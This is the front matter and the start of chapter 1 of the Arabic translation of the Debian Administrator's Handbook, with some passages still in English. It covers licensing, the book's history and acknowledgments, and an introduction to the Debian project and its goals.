دفتر مدير دبيان

دبيان بستر من الاستكشاف إلى الاحتراف

رافائيل هيرتزوغ

<hertzog@debian.org>

رولاند ماس

<lolando@debian.org>

حقوق النشر © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Raphaël Hertzog

حقوق النشر © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

حقوق النشر © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Freexian SARL

‏ردمك: ‏979-10-91414-14-2 (النسخة العربية الورقية)

‏ردمك: ‏979-10-91414-15-9 (النسخة العربية الإلكترونية)

هذا الكتاب متوفر وفقاً لشروط رخصتين متوافقتين مع مبادئ دبيان للبرمجيات الحرة.

إشعار رخصةالمشاع الإبداعي:  هذا الكتاب مرخص وفق رخصة نَسب المُصنَّف - الترخيص بالمثل 3.0 غير موطَّنة (CC BY-SA 3.0)

→ https://www.creativecommons.org/licenses/?lang=ar/

إشعار رخصة غنو العمومية:  هذا الكتاب هو توثيق حر: يمكنك إعادة توزيعه و/أو تعديله وفق شروط رخصة غنو العمومية GPL كما نشرتها مؤسسة البرمجيات الحرة، سواء النسخة 2 منها، أو (حسب اختيارك) أية نسخة لاحقة.

تم توزيع هذا الكتاب على أمل أن يكون مفيداً، لكن بدون أية ضمانات؛ ولا حتى ضمانات الترويج والتسويق أو الملائمة المحددة لغرض ما. انظر رخصة غنو الشعبية العامة لمزيد من التفاصيل.

يجب أن تستلم نسخة من رخصة غنو العمومية مع هذا البرنامج. إذا لم يحدث ذلك، انظر https://www.gnu.org/licenses/licenses.ar.html/.

أظهر تقديرك لعملنا

نشرنا هذا الكتاب وفق رخصة حرة لأننا نريد أن يستفيد الجميع منه. ومع ذلك فإن إستدامة هذا الكتاب تستهلك وقتاً بالإضافة إلى الكثير من الجهد، ونحن نقدّر من يشكرنا على جهدنا. إذا وجدت هذا الكتاب قيّماً، فنرجو أن تأخذ بعين الاعتبار المشاركة في إستمادمته سواءً بشراء نسخة ورقية أو بالتبرع من خلال موقع الكتاب الرسمي (التبرعات تعود لدعم النسخة الأجنبية):

→ http://debian-handbook.info

خلاصة

مرجع يستعرض توزيعة دبيان، من التثبيت الأولي وحتى إعداد خدمات النظام.

مقدمة

يسرني أن تتاح لي هذه الفرصة للترحيب بكم في دبيان ودليل دبيان. كثير من الناس اختاروا دبيان: حوالي 10% من خوادم الويب على الإنترنت تدير دبيان. عند تضمين أنظمة التشغيل المستندة إلى دبيان، يكون هذا الرقم أقرب إلى 20%. وقد اختير دبيان كنظام تشغيل مفضل لمحطة الفضاء الدولية. سواء كان ذلك من أحدث البحوث الفيزياء أو مشروع للمساعدة في زراعة المواد الغذائية أثناء مكافحة التلوث، وقد استخدمت دبيان لجعل تشغيل أجهزة الكمبيوتر ممكنا.

لماذا يحظى دبيان بإعجاب الشركات الكبيرة والباحثين والنشطاء والهواة؟ أعتقد أن الجواب يكمن في مرونة دبيان ومجتمعه.

دبيان مرن. نعم، يوفر نظام تشغيل ممتاز للأغراض العامة من خارج الصندوق. كما يوفر الأدوات لتخصيص دبيان إلى أي بيئة تجد نفسك تعمل فيها. سواء كانت هندسة سحابية واوعية، أو مجموعة كبيرة من محطات العمل، أو أجهزة كمبيوتر فردية، أو جهاز تطبيقي فإن دبيان يوفر المرونة للعمل بشكل جيد في تلك البيئة. سوف تجد الأدوات والأمثلة التي تحتاجها لتلبية احتياجاتك.

مجتمع دبيان هو مكان اجتماع للأفراد والاهتمامات المتنوعة: يعمل المطورون من أكبر الشركات جنبا إلى جنب مع المتطوعين والباحثين والمستخدمين. سواء كان ذلك من خبراء الأمن، مطوري الويب، المبرمجين أنظمة أو المهندسين المعماريين، ونحن جميعا ممثلين في هذا المجتمع. يمكنك أن تكون جزءاً من هذا المجتمع. عندما تجد طرقاً يمكن أن تكون فيها دبيان أفضل، فإننا نرحب بمساهمتك.

نحن نجتمع معا لإنتاج نظام تشغيل حر من الطراز العالمي. لا توجد شركة واحدة تسيطر على دبيان، لا اجندات لأي احد تحدد عملنا. بدلاً من ذلك، كل منا لديه القدرة على تحسين دبيان بالطرق التي تهمنا. شكراً لك على إلقاء نظرة على ما بنيناه. أتمنى أن يعجبك

هذا الكتاب هو وسيلة ممتازة لاستكشاف ديبيان. لقد كنت أوصي به إلى الأصدقاء لسنوات عندما أرادوا معرفة المزيد عن دبيان، ويسرني أن تتاح لي الفرصة للتوصية به على نطاق أوسع. هذا الكتيب من تأليف وصيانة أعضاء مجتمع دبيان الذين طال أمدهم. بعض الأشخاص الذين يعملون على تطوير نظام التشغيل قد انضموا معاً لمساعدتك على فهم ذلك. وبالطبع تم تطوير الكتاب باستخدام عملية مجتمعية مشابهة لدبيان نفسها مع نفس التركيز على الحرية.

أغسطس 2019

سام هارتمان (قائد مشروع دبيان)

تمهيد

كانت قوة لينكس تتراكم خلال السنوات القليلة الماضية، وشعبيته المتنامية تدفع مزيدًا من المستخدمين للمغامرة. الخطوة الأولى والأهم في هذا المسار هي اختيار التوزيعة، لأن لكل واحدة مميزات خاصة، ثم إن الاختيار الصحيح من البداية يغني عن تكاليف الانتقال إلى توزيعة أخرى.

أساسيات توزيعة لينكس، نواة لينكس

في الواقع، لينكس هي مجرد نواة، أي الجزء البرمجي الأساسي الواقع بين العتاد والتطبيقات.

”توزيعة لينكس“ هي نظام تشغيل متكامل؛ يتضمّن عادة نواة لينكس، وبرنامج تثبيت، وأهم من ذلك التطبيقات وغيرها من البرامج الضرورية لتحويل الحاسوب إلى أداة مفيدة فعلياً.

دبيان غنو/لينكس هي توزيعة لينكس ”عامة“ تُناسب معظم المستخدمين. الغرض من هذا الكتاب هو إظهار جوانبها العديدة، حتى يكون اختيارك مبني على معرفة.

1. لماذا هذا الكتاب؟

ثقافة توزيعات تجارية

معظم توزيعات لينكس مدعومة من قبل شركة ربحية تقوم بتطويرها وبيعها في إطار نوع من المخطط التجاري. ومن الأمثلة Ubuntu، التي طورت أساساً من قبل Canonical Ltd.؛ [رد هات] مؤسسة , ب [هات حمراء, , شركة تابعة من [; و SUSE لينكس ، حافظت وأتيحت تجاريا من قبل SUSE حلول البرمجيات ألمانيا GmbH ، شركة تابعة من EQT الشركاء .

وعلى النقيض من هذا تجد دبيان ومؤسسة أباتشي للبرمجيات (التي تُطوّر مخدم الوب أباتشي). دبيان هو قبل كل شيء مشروع في عالم البرمجيات الحرة، أنجزه متطوّعون يعملون معًا من خلال الإنترنت. وفي حين يعمل بعضهم في دبيان كجزء من وظائفهم مدفوعة الأجر في شركات مختلفة، إلا أن المشروع ككل غير مرتبط بأي شركة محددة، ولا تتمتع أي شركة بأي صلاحيات في شؤون المشروع أعلى من صلاحيات المساهمين المتطوعين.

Linux has gathered a fair amount of media coverage over the years; it mostly benefits the distributions supported by a real marketing department — in other words, company-backed distributions (Ubuntu, Red Hat, SUSE, and so on). But Debian is far from being a marginal distribution; multiple studies have shown over the years that it is widely used both on servers and on desktops. This is particularly true among web servers where Debian and Ubuntu are the leading Linux distributions.

→ https://w3techs.com/technologies/details/os-linux/all/all

الغرض من هذاالكتاب هو مساعدتك على اكتشاف هذه التوزيعة. نحن نأمل أن نشاركك الخبرة التي اكتسبناها منذ انضمامنا إلى هذا المشروع كمطورين ومساهمين في 1998 (رافائيل) و2000 (رولاند). بقليل من الحظ، سنتمكن من إيصال حماستنا إليك، وربما تنضم إلينا في وقت ما…

عملت النسخة الأولى من هذا الكتاب (عام 2004) على ردم هوة سحيقة: كانت أول كتاب فرنسي يركز حصرياً على دبيان. في ذلك الوقت، قدمت كتب أخرى عديدة عن نفس الموضوع للقراء الذين يتحدثون الفرنسية والإنكليزية على السواء. لكن لسوء الحظ لم يتابع تحديث أي منها، ومع مضي السنين وجدنا أنفسنا اليوم مرة أخرى في وضع لا يوجد فيه كتب جيدة عن دبيان إلا قلة قليلة جداً. نأمل بصدق أن يتمكن هذا الكتاب، الذي بدأ حياته من جديد بعد ترجمته إلى الإنكليزية (وعدة ترجمات من الإنكليزية إلى لغات متنوعة أخرى)، من ردم هذه الهوة ومساعدة العديد من المستخدمين.

2. لمن هذا الكتاب؟

حاولنا أن نجعل هذا الكتاب مفيدًا لفئات عديدة من القراء. أولاً، سيجد مديرو الأنظمة (محترفين ومبتدئين على السواء) شروحات حول تثبيت ونشر دبيان على حواسيب متعددة. سيتمكنون أيضا من أخذ لمحة عن معظم الخدمات المتاحة على دبيان، بالإضافة إلى تعليمات إعداد هذه الخدمات ووصفاً لخصوصيات التوزيعة. إن فهم آليات التطوير المعتمدة في دبيان سيمكنهم من التعامل مع المشاكل غير المتوقعة، مع العلم أنهم يستطيعون دائماً الحصول على المساعدة من المجتمع.

سيكتشف مستخدمي توزيعات لينكس المختلفة، أو تنويعات يونكس الأخرى، تفاصيل دبيان، وينبغي أن يصبحوا قادرين على العمل عليها بشكل فاعل في وقت قصير، مع الاستفادة الكاملة من المزايا الفريدة في هذه التوزيعة.

أخيرًا، سوف نرضي توقعات القراء الذين يعرفون القليل عن دبيان مسبقاً ويرغبون بمعرفة المزيد عن المجتمع الذي يقف خلفه. يجب أن يُقرّبهم هذا الكتاب أكثر للانضمام إلينا كمساهمين.

3. التوجّه العام

كل الوثائق العامة التي تتحدث عن غنو/لينكس التي تستطيع الوصول إليها تنطبق أيضاً على دبيان، بما أن دبيان يتضمن البرمجيات الحرة مفتوحة المصدر الأكثر شيوعاً. لكن التوزيعة تقدم العديد من التحسينات، لذلك اخترنا أن نشرح ”الطريقة الدبيانية“ في تنفيذ الأمور بشكل أساسي.

من المفيد اتباع توصيات دبيان، ولكن يبقى الأفضل فهم الدواعي المنطقية وراء هذه التوصيات. بناء عليه، لن نقيّد أنفسنا بالشرح العملي فقط؛ بل سنشرح أيضاً طريقة عمل المشروع، حتى تصل إلى فهم شامل ومتين.

4. بنية الكتاب

This book is built around a case study providing both support and illustration for all topics being addressed.

ملاحظة موقع الكتاب، البريد الإلكتروني للمؤلفين

This book has its own website, which hosts whatever elements that can make it more useful. In particular, it includes an online version of the book with clickable links, and possible errata. Feel free to browse it and to leave us some feedback. We will be happy to read your comments or support messages. Send them by email to <hertzog@debian.org> (Raphaël) and <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

يركز الفصل الأول على عرض مشروع دبيان بشكل غير تقني وتوضيح أهدافه والحديث عن المنظمة. هذه الجوانب مهمة لأنها تحدد إطارا عاماً ستتكامل معه الفصول اللاحقة من خلال طرح معلومات محددة أكثر.

يطرح الفصلان 2 و 3 الخطوط العريضة للحالة المدروسة. في هذه المرحلة، يمكن للقراء المبتدئين أن ينتقلوا لقراءة الملحق B، حيث يجدون دورة تذكيرية قصيرة تشرح عدة مفاهيم حاسوبية أساسية، بالإضافة إلى المفاهيم المرتبطة بنظم يونكس بشكل عام.

لمتابعة المادة الفعلية، سنبدأ بشكل طبيعي بعملية التثبيت (الفصل 4)؛ ثم يلقي الفصل 5 والفصل 6 الضوء على الأدوات التي يستخدمها أي مدير لنظام دبيان، مثل عائلة APT، وهي السبب الرئيسي وراء السمعة الممتازة للتوزيعة. هذه الفصول ليست حكراً على المحترفين بأي شكل من الأشكال، فكل واحد منا مدير لحاسوبه في البيت.

‏الفصل 7سيكون فاصلاً هاماً؛ فهو يصف طريقة استخدام الوثائق بكفاءة وفهم المشاكل بسرعة لحلها.

الفصل التالي عبارة عن رحلة تفصيلية حول النظام، تبدأ مع البنية التحتية الأساسية والخدمات (الفصول من 8 إلى 10) ويتقدم تدريجياً وصولاً إلى تطبيقات المستخدم في الفصل 13. يطرح الفصل 12 مواضيعاً أكثر تقدماً تهم مديري المجموعات الحاسوبية الكبيرة (والمخدمات) بشكل مباشر، بينما الفصل 14هو نبذة عن قضية أمن المعلومات الواسعة كما يقدم بضعة نصائح لتفادي أغلب الأخطاء.

سيكون الفصل 15 لمن يريد التعمق أكثر وإنشاء حزم دبيان خاصة به.

مصطلحات حزمة دبيان

حزمة دبيان عبارة عن أرشيف يحوي كل الملفات المطلوبة لتثبيت برنامج ما. تكون الحزمة عادة ملفاً له اللاحقة .deb، يمكن التعامل معه باستخدام الأمر dpkg. كما تدعى أيضاً بالحزمة الثنائية، وهذه الحزم تحوي ملفات يمكن استخدامها مباشرةً (مثل البرمجيات أو الوثائق). من ناحية أخرى، تحوي الحزم المصدرية الشِّفرة المصدرية للبرمجيات والتعليمات المطلوبة لبناء الحزم الثنائية.

The present version is already the ninth edition of the book (we include the first four that were only available in French). This edition covers version 10 of Debian, code-named Buster. Among the changes, Debian now supports UEFI Secure Boot, providing some extra safety against attacks on the boot infrastructure, and making it easier to install Debian on new computers where Secure Boot is usually enabled by default. Again at the security level, AppArmor, a Mandatory Access Control system that regulates what various applications are allowed to perform, is now enabled by default. All included packages have obviously been updated, including the GNOME desktop, which is now in its version 3.30.

كما أضفنا ملاحظات وتوجيهات في الملاحظات الجانبية. لهذه الملاحظات عدة أدوار منها: لفت الانتباه إلى موضوع صعب، إكمال فكرة من الحالة المدروسة، تعريف بعض المصطلحات، أو كنوع من التذكرة. هذه قائمة بأكثر الملاحظات الجانبية شيوعاً:

أساسيات: تذكرة ببعض المعلومات التي يفترض أنك تعرفها؛

مصطلحات: تعريف مصطلح تقني، وأحياناً مصطلح دبياني؛

مجتمع: إلقاء الضوء على شخص مهم أو دور ضمن المشروع؛

سياسة: قاعدة أو نصيحة من سياسة دبيان. هذه الوثيقة (Debian Policy) أساسية ضمن المشروع، وهي تشرح طريقة تحزيم البرامج. أجزاء السياسة التي نركز عليها في هذا الكتاب ذات فائدة مباشرة للمستخدمين (مثلاً، عندما تعرف أن السياسة تفرض موقعاً قياسياً لوضع الوثائق والأمثلة ستعثر بسهولة على هذه الملفات حتى في الحزم الجديدة).

أدوات: يقدم أداة أو خدمة متعلقة بالموضوع المطروح؛

ممارسة عملية: النظرية والتطبيق لا يتفقان دائماً؛ تحوي هذه الملاحظات الجانبية نصائح نابعة من خبرتنا. كما يمكن أن تقدم أمثلة واقعية ومفصلة؛

هناك ملاحظات جانبية معناها واضح تتكرر أحياناً أو لا تتكرر: ثقافة، تلميح، تحذير، التعمق أكثر، أمن، وغيرها.

5. Contributing

This book is developed like a free software project, your input and help is welcome. The most obvious way to contribute is to help translate it into your native language. But that is not the only possibility. You can open bug reports to let us know of mistakes, typos, outdated information, or topics that we should really cover. Or you can submit a merge request with your fix for whatever issue that you identified.

All the instructions to contribute to the book are documented on the book's website:

→ https://debian-handbook.info/contribute/

6. شكر وتقدير

6.1. شيء من التاريخ

في عام 2003، اتصل Nat Makarevitch برافائيل لأنه يرغب بنشر كتاب عن دبيان في مجموعة Cahier de l'Admin (دفتر المدير) التي كان يديرها لصالح Eyrolles، وهي دار نشر فرنسية رائدة في مجال الكتب التقنية. وافق رافائيل فوراً على كتابته. رأت الطبعة الأولى النور في 14 أكتوبر 2004 ولاقت نجاحاً كبيراً — حيث بيعت النسخ كلها في أقل من أربعة أشهر.

Since then, we have released 7 other editions of the French book, one for each subsequent Debian release (except for Debian 9). Roland, who started working on the book as a proofreader, gradually became its co-author.

رغم أننا كنا راضين عن نجاح الكتاب بشكل واضح، إلا أننا أملنا لفترة طويلة أن تقنع Eyrolles إحدى دور النشر الدولية بترجمته إلى الإنكليزية. تلقينا العديد من التعليقات التي تخبرنا كيف ساعد كتابنا الناس على بدء العمل مع دبيان، وكنا نتوق لإفادة المزيد من الأشخاص بنفس الشكل.

Alas, no English-speaking editor that we contacted was willing to take the risk of translating and publishing the book. Not put off by this small setback, we negotiated with our French editor Eyrolles and got back the necessary rights to translate the book into English and publish it ourselves. Thanks to a successful crowdfunding campaign, we worked on the translation between December 2011 and May 2012. The “Debian Administrator's Handbook” was born and it was published under a free-software license!

While this was an important milestone, we already knew that the story would not be over for us until we could contribute the French book as an official translation of the English book. This was not possible at that time because the French book was still distributed commercially under a non-free license by Eyrolles.

In 2013, the release of Debian 7 gave us a good opportunity to discuss a new contract with Eyrolles. We convinced them that a license more in line with the Debian values would contribute to the book's success. That wasn't an easy deal to make, and we agreed to setup another crowdfunding campaign to cover some of the costs and reduce the risks involved. The operation was again a huge success and in July 2013, we added a French translation to the Debian Administrator's Handbook.

نود شكر كل شخص ساهم في حملات جمع التبرعات هذه، سواء من خلال تقديم المال أو نشر الحملة إعلامياً. لم نكن لننجح من دونكم.

To save some paper, 5 years after the fundraising campaigns and after two subsequent editions, we dropped the list of persons who opted to be rewarded with a mention of their name in the book. But their names are engraved in the acknowledgments of the Wheezy edition of the book:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. شكر خاص للمساهمين

لم يكن ليصدر الكتاب بهذه الحُلّة لولا مساهمة العديد من الأشخاص الذين لعبوا أدواراً مهمة في مرحلة الترجمة وما بعدها. نرغب بشكر Marilyne Brun، التي ساعدتنا على ترجمة العينة وعملت معنا على تحديد بعض قواعد الترجمة المتعارف عليها. كما راجعت عدة فصول كانت بحاجة ماسة لعمل إضافي. والشكر أيضاً لـ Anthony Baldwin (من Baldwin Linguas) الذي ترجم لنا عدة فصول.

Since Roland and I were too busy to update the book for Debian 10, we used the modest income that we get through donations and sales to hire contributors to do the bulk of the work. Thank you very much to Daniel Leidert and Jorge Maldonado Ventura for the hard work they put into this update.

كما استفدنا من المساعدة الكريمة للمنقحين: Daniel Phillips، ‏Gerold Rupprecht، ‏Gordon Dey، ‏Jacob Owens، وTom Syroid. كل واحد منهم راجع لنا عدة فصول. شكراً جزيلاً لكم!

بعدئذ، تلقينا الكثير من الملاحظات والاقتراحات والتصحيحات من القراء بعد تحرير النسخة الإنكليزية، كما تلقينا ملاحظات أكثر من الفرق العديدة التي شرعت تترجم الكتاب إلى لغات أخرى. شكراً!

نرغب أيضاً بشكر قراء الكتاب باللغة الفرنسية الذين أمدونا ببعض التعليقات الجميلة التي أكدت لنا أن الكتاب يستحق الترجمة شكراً لك Christian Perrier، ‏David Bercot، ‏Étienne Liétart، وGilles Roussi. كما يستحق Stefano Zacchiroli —الذي كان قائد مشروع دبيان في وقت حملة التمويل الجماهيري— الشكر الجزيل، فقد تكرّم بدعم المشروع باقتباس أوضح مدى الحاجة للكتب الحرة.

إذا كنت مسروراً لقراءتك هذه السطور من النسخة الورقية إذن يفترض أن تشاركنا بشكر Benoît Guillon، ‏Jean-Côme Charpentier و Sébastien Mengin الذين أنجزوا التصميم الداخلي للكتاب . Benoît هو المؤلف المنبعي للأداة dblatex — وهي الأداة التي استخدمناها لتحويل صيغة DocBook إلى LaTeX ثم إلى PDF. ‏Sébastien هو المصمم الذي أنشأ التصميم الطباعي الجميل لهذا الكتاب وJean-Côme هو خبير LaTeX الذي استخدمه كأوراق تنسيق يمكن استخدامها مع dblatex. شكراً لكم شباب على كل العمل الصعب!

أخيراً، شكراً لك Thierry Stempfel على الصور التقديمية الجميلة بين الفصول، وشكراً لك Doru Patrascu على غلاف الكتاب الجميل.

6.3. شكر للمترجمين

Ever since the book has been freed, many volunteers have been busy translating it to numerous languages, such as Arabic, Brazilian Portuguese, German, Italian, Spanish, Japanese, Norwegian Bokmål, etc. Discover the full list of translations on the book's website: https://debian-handbook.info/get/#other

نود أن نشكر كل المترجمين ومراجعي الترجمات. قيمة عملكم عالية جداً لأنه يضع دبيان في أيدي ملايين الناس الذين لا يستطيعون قراءة الإنكليزية.

6.4. شكر وتقدير شخصي من رافائيل

أولاً، أود أن أشكر Nat Makarevitch، الذي أتاح لي فرصة تأليف هذا الكتاب، والذي وفر توجيهات سديدة أثناء العام الذي أنفقناه على إنجازه .شكراً أيضاً للفريق الرائع في Eyrolles، وشكراً لكِ Muriel Shan Sei Fan على وجه الخصوص. لقد كانت صبورة جداً معي وقد تعلمت الكثير معها.

على الرغم من أن فترة حملات Ulule كانت متعبة لي ولكن أوّد أن أشكر كل من ساعدني على إنجاحها، خصوصاً فريق Ulule الذي كان يتفاعل بشكل سريع جداً مع كل طلباتي. وشكراً لكل من ساهم بالترويج لهذه العمليات. لا أملك لائحة شاملة (لكن لو كانت موجودة فسوف تكون طويلة جداً على الأغلب) ولكن أرغب بشكر أشخاص قلائل كانوا على اتصال بي: Joey-Elijah Sneddon و Benjamin Humphrey من OMG! Ubuntu، و Frédéric Couchet من April.org و Jake Edge من Linux Weekly News و Clement Lefebvre من لينكس منت و Ladislav Bodnar من Distrowatch و Steve Kemp من Debian-Administration.org و Christian Pfeiffer Jensen من Debian-News.net و Artem Nosulchik من LinuxScrew.com و Stephan Ramoin من Gandi.net و Matthew Bloch من Bytemark.co.uk وفريق Divergence FM و Rikki Kite من Linux New Media و Jono Bacon وفريق التسويق في Eyrolles، والكثيرون الذين نسيت أسمائهم (أعتذر عن ذلك).

وأرغب في توجيه شكر خاص لرولاند ماس، المؤلف المشارك.حيث تعاونّا على هذا الكتاب منذ البداية وقد كان دائماً على مستوى التحدي. ويجب أن أقول أن إكمال دفتر مدير دبيان تطلب الكثير من العمل…

أخيراً وليس آخراً، شكراً لزوجتي صوفي، التي دعمتني كثيراً خلال عملي على هذا الكتاب وعلى دبيان بصفة عامّة. كانت هناك الكثير من الأيام (والليالي) التي تركتها فيها وحيدة مع طفلانا من أجل إحراز بعض التقدم في الكتاب. وأنا ممتن لدعمها وهي تعرف كم أنا محظوظ بوجودها.

6.5. شكر وتقدير شخصي من رولاند

حسناً، لقد استبق رافائيل معظم من أرغب بشكرهم. ولكن لا زلت أرغب بالتشديد على امتناني الشخصي للأشخاص الطيبين في Eyrolles، الذين كان التنسيق معهم ساراً ولطيفاً دائماً. آمل أن نتائج نصائحهم الممتازة لم تضع في الترجمة.

أنا ممتن جداً لرافائيل لاستلامه أعمال الإشراف على هذه الطبعة الإنكليزية. بداية من تنظيم حملة التبرعات إلى آخر تفاصيل تصميم هذا الكتاب. إخراج كتاب مترجم أكثر بكثير من ترجمته فقط وتدقيقه، وقد أنجز رافائيل (أو أشرف وتابع) كل ما يتعلق بالكتاب. لذا شكراً.

الشكر أيضاً لكل من ساهم مباشرة في هذا الكتاب سواء بقدر قليل أو كثير، من خلال تقديم توضيحات أو تفسيرات، أو نصائح تتعلق بالترجمة. عدد هؤلاء كبير جداً ولا يمكن ذكرهم، ولكن يمكن العثور عادة على معظمهم على مختلف قنوات IRC التي يبدأ اسمها بـ ‎#debian-*‎.

وهناك بالطبع بعض التداخل مع المجموعات السابقة من الناس، ولكن لا بد من الشكر المخصوص لأولئك الذين يعملون في دبيان. لا يمكن أن يكون هناك كتاب من دونهم، وما زلت أشعر بالدهشة من إنتاجات مشروع دبيان ككل التي يتيحها لأي شخص ولكل شخص.

أشكر أصدقائي وزبائني مرة أخرى، لتفهمهم عندما كنت أقل تجاوباً بسبب عملي على هذا الكتاب، وأيضا لدعمهم المستمر، وتشجيعهم وتحفيزهم. أنتم تعلمون أنفسكم؛ شكراً.

وأخيراً؛ أنا متأكد من أنهم سيفاجئون لذكرهم هنا، ولكن أرغب بتقديم شكري إلى Terry Pratchett، ‏Jasper Fforde، ‏Tom Holt، ‏William Gibson، ‏Neal Stephenson وطبعاً للراحل Douglas Adams. كانت الساعات التي لا تحصى التي أنفقتها بالاستمتاع بقراءة كتبهم مسؤولة بشكل مباشر عن تمكيني من المشاركة في ترجمة أحد الكتب أولاً وكتابة أجزاء جديدة لاحقاً.

فصل 1. مشروع دبيان

قبل الغوص في الأحاديث التقنية، دعنا نلقِ نظرة على مشروع دبيان، ما هو، وما أهدافه، وما أساليبه، وما أعماله.

1.1. ما هو دبيان؟

ثقافة أصل الاسم دبيان

لا تتعب في البحث: دبيان (Debian) ليس اختصاراً. هذا الاسم، في الواقع، ناتج عن جمع اسمين: إيان موردك (Ian Murdock)، وصديقته في ذلك الوقت، ديبرا (Debra). ديبرا + إيان = دبيان.

دبيان هي توزيعة GNU/Linux. سنناقش ماهية التوزيعات أكثر في قسم 1.5, “دور التوزيعة”، لكن حالياً، سوف نقول فقط أنها نظام تشغيل كامل، يتضمن برمجيات ونظم تثبيت وإدارة، وكل ذلك يعتمد على النواة Linux (لينكس) وعلى البرمجيات الحرة (خصوصاً المأخوذة من مشروع GNU).

عندما أنشأ Ian Murdock (إيان موردك) دبيان عام 1993، تحت لواء FSF (مؤسسة البرمجيات الحرة)، كانت عنده أهداف واضحة، عبّر عنها في Debian Manifesto (بيان دبيان). كان لنظام التشغيل الحر الذي أراده ميزتين أساسيتين. أولاً، الجودة: يجب تطوير دبيان بكل حرص، حتى تستحق استخدام النواة لينكس. كما يجب أن تكون توزيعة غير تجارية، لكن موثوقة بما يكفي لتنافس التوزيعات التجارية الكبيرة. لم يكن تحقيق هذا الطموح المزدوج ممكناً، حسب رؤيته، إلا بفتح عملية تطوير دبيان كما هو حال لينكس ومشروع GNU. وهكذا، سوف تحسن مراجعة النظراء المنتج باستمرار.

ثقافة GNU، مشروع مؤسسة البرمجيات الحرة

مشروع GNU (غنو) هو مجموعة من البرمجيات الحرة التي تطورها، أو ترعاها مؤسسة البرمجيات الحرة (Free Software Foundation، أو FSF اختصاراً)، التي أوجدها قائدها الروحي، د. ريتشارد ستولمن (Richard M. Stallman).‏ GNU هو اختصار تعاودي، يرمز للعبارة ”GNU is Not Unix“.

ثقافة Richard M. Stallman

FSF's founder and author of the GPL license, Richard M. Stallman (often referred to by his initials, RMS) is a charismatic leader of the Free Software movement. Due to his uncompromising positions, he is not unanimously admired, but his non-technical contributions to Free Software (in particular, the legal and philosophical) are respected by everybody.

1.1.1. نظام تشغيل متعدد المنصات

مجتمع رحلة إيان موردك

كان إيان موردك، مؤسس مشروع دبيان، القائد الأول للمشروع من عام 1992 وحتى 1996. بعد أن سلم الراية لبروس بيرنز (Bruce Perens)، أخذ إيان دوراً أقل ظهوراً. لقد عاد للعمل وراء الكواليس في مجتمع البرمجيات الحرة، وأنشأ شركة Progeny، وكان ينوي تسويق توزيعة مشتقة من دبيان. كان هذا الاستثمار فاشلاً تجارياً للأسف، وتوقف عن التطور. أعلنت الشركة عن إفلاسها في أبريل 2007، بعد سنوات عديدة من القحط والعمل في تقديم الخدمات فقط. لم ينج من المشاريع التي بدأتها Progeny إلا discover، وهي أداة لاكتشاف العتاد آلياً.

Ian Murdock died on 28 December 2015 in San Francisco after a series of worrying tweets where he reported having been assaulted by police. In July 2016 it was announced that his death had been ruled a suicide.

Debian, remaining true to its initial principles, has had so much success that, today, it has reached a tremendous size. Currently there are 10 hardware architectures officially supported and also other kernels like FreeBSD (although the FreeBSD-based ports are not part of the set of officially supported architectures). Furthermore, with more than 28,000 source packages, the available software can meet almost any need that one could have, whether at home or in the enterprise.

The sheer size of the distribution can be inconvenient: it is really unreasonable to distribute 16 DVD-ROMs to install a complete version on a standard PC… This is why Debian is increasingly considered as a “meta-distribution”, from which one extracts more specific distributions intended for a particular public: Debian Science for scientific use, Debian Edu for education and pedagogical use in an academic environment, Debian Med for medical applications, Debian Jr. for young children, etc. A more complete list of the subprojects can be found in قسم 1.3.3.1, “المشاريع الفرعية الحالية”, dedicated to that purpose.

تُنظّم هذه الأقسام الفرعية في إطار عمل مُحدَّد بوضوح يضمن التوافق السلس بين ”التوزيعات الفرعية“ المختلفة. تتبع كل هذه التوزيعات الخطة العامة لإصدار النسخ الجديدة. وبما أنها تبنى على الأساسات نفسها، فيمكن توسعتها وإكمالها وتخصيصها بسهولة باستخدام التطبيقات المتوفرة في مستودعات دبيان.

تعمل جميع أدوات دبيان لتيسير هذا الأمر: فقد كان debian-cd يسمح منذ زمن طويل بإنشاء مجموعات من الأقراص الليزرية التي تحوي مجموعة محددة مسبقاً من الحزم فقط؛ كما أن debian-installer هو مُثبِّتٌ تجزيئي (modular)، يمكن ملائمته مع الحاجات الخاصة بسهولة. وAPT سوف تثبّت الحزم من مصادر متنوعة، وتضمن في الوقت نفسه الاتساق العام للنظام.

أدوات إنشاء قرص دبيان

ينشئ debian-cd صور ISO لوسائط تثبيت (CD،‏ DVD،‏ Blu-Ray، الخ) جاهزة للاستخدام. تُناقَش جميع المواضيع المتعلقة بهذا البرنامج (بالإنكليزية) على القائمة البريدية <debian-cd@lists.debian.org>. يقود Steve McIntyre الفريق المسؤول عن بناء صور ISO الرسمية لدبيان.

أساسيات لكل حاسوب معمارية

يشير مصطلح ”معمارية architecture“ لنوع الحاسوب (من أكثر الحواسيب شهرة Mac و PC). تتميز كل معمارية بمعالجها بشكل أساسي، الذي لا يتوافق مع المعالجات الأخرى عادة. تؤدي هذه الاختلافات العتادية إلى اختلاف في طريقة التشغيل، وبالتالي يجب إعادة ترجمة (compile) البرمجيات خصيصاً لكل معمارية.

Most software available in Debian is written in portable programming languages: the same source code can be compiled for various architectures. In effect, an executable binary, always compiled for a specific architecture, will not usually function on any of the other architectures.

Remember that each program is created by writing source code; this source code is a text file composed of instructions in a given programming language. Before you can use the software, it is necessary to compile the source code, which means transforming the code into a binary (a series of machine instructions executable by the processor). Each programming language has a specific compiler to execute this operation (for example, gcc for the C programming language).

أدوات المُثبِّت

debian-installer هو اسم برنامج تثبيت دبيان. يسمح تصميمه التجزيئي باستخدامه في مجال واسع من سيناريوهات التثبيت. يُنسَّق العمل التطويري على القائمة البريدية <debian-boot@lists.debian.org> تحت إشراف Cyril Brulebois.

1.1.2. جودة البرمجيات الحرة

Debian follows all of the principles of Free Software, and its new versions are not released until they are ready. Developers do not work upon a set schedule and don't have to rush to meet an arbitrary deadline. People frequently complain of the long time between Debian's stable releases, but this caution ensures that Debian's legendary reliability is met: long months of testing are indeed necessary for the full distribution to receive the “stable” label.

Debian will not compromise on quality: all known critical bugs on key packages are resolved in any new version, even if this requires the initially forecast release date to be pushed back. Optional packages whose critical bugs are not fixed, and thus do not meet the quality requirements, are simply dropped from the stable release.

